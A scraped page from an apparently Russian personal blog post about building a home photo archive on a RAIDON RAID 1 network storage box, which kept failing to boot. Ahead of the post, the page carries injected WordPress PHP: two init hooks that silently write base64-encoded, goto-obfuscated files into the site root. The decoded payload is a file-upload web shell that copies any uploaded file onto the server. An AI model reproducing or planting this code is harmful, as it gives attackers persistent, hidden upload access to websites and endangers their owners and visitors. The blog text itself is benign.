add_action('init', function() { $f = ABSPATH . 'avamfb.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); add_action('init', function() { $f = ABSPATH . 'hbnobh.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); Практическая реализация хранилища фотографий. Vol1. Неудачная. » nord-tramper.ru
"Программист — это профессиональный конвертер галлюцинаций заказчика в жесткую формальную систему"
Oct 282013
 

В прошлом посте я писал про основные задачи, которые нужно решить для долговременного хранения фотографий (да вообще любой ценой информации). А теперь я расскажу, как это получилось у меня в реальности.

И так, основной вывод был – Raid1 и ротация дисков. Для этого был куплен не дорогой RAID-контроллер RAIDON SL3650-LB2. Эта небольшая коробочка позволяет организовать из двух дисков массивы RAID 0 или 1, а также объединить два диска в один большой (JBOD). Естественно меня интересовала только возможность создания RAID 1 массива.

Так же этот контроллер имеет сетевой интерфейс (по сути только его и имеет), что позволило установить его в другой комнате и не слушать шум от двух винтов и кулера. Все настройки осуществляются через WEB-интерфейс и не требуют физического доступа к дискам.

Внутри этой коробки установлен Linux, к которому можно поддконнектиться через ssh, что дает дополнительные возможности, не реализованные в интерфейсе.

И так, 3 диска и контроллер. Вставили два диска по 3 Тб и создали на их основе RAID 1, занимает это все минут 10 в сумме. На дисках теперь файловая система XFS. В Windows диски отдельно читаться не будут, но любая *nix система их прочтет. Третий диск, с информацией пока вставлен в обычную USB-коробку.

Первичная заливка данных в RAID 1 на основе RAIDON SL3650-LB2

Тут варианта всего 2 – по сети или через его USB-порт. Вариант с сетью пришлось отмести, т.к. роутер не поддерживает Gigabit Ethernet, а с 100Mbit это займет дня 4 и при этом нельзя выключать компьютер с которого все заливается. Заливка через USB-порт, предпочтительнее, но все равно требует включенного компьютера, которые будет переливать данные из папки в папку. Но у нас есть Linux ) – так что коннектимся по SSH на адрес NAS и уже там можно выполнить обычный

cp -r /home/USB_DISK /home/Foto &

& – поставлен, чтобы отправить выполняться задачу в фоновый режим. Проверять прогресс можно обычной командой

df -h

которая выведет объем занятого места по точкам монтирования (по дискам)

В идеале, при максимальной скорости USB 2.0, которым оснащен этот массив, 2Тб должны были переписаться за ~20 часов, но заняло это в реальности порядка 40. Возможно это связано с тем, что NTFS и *nix системы не сильно дружат.

Выключаем девайс, ставим на его законное место и… он  не загружается… Сервис. Замена винтов. И снова 2 дня заливки данных – результат тот же. По итогу трех замен сделал вывод, что 2Тб и Raidon не совместимы. Впереди замена на Synology 213j 😀

Stay tuned…

Sorry, the comment form is closed at this time.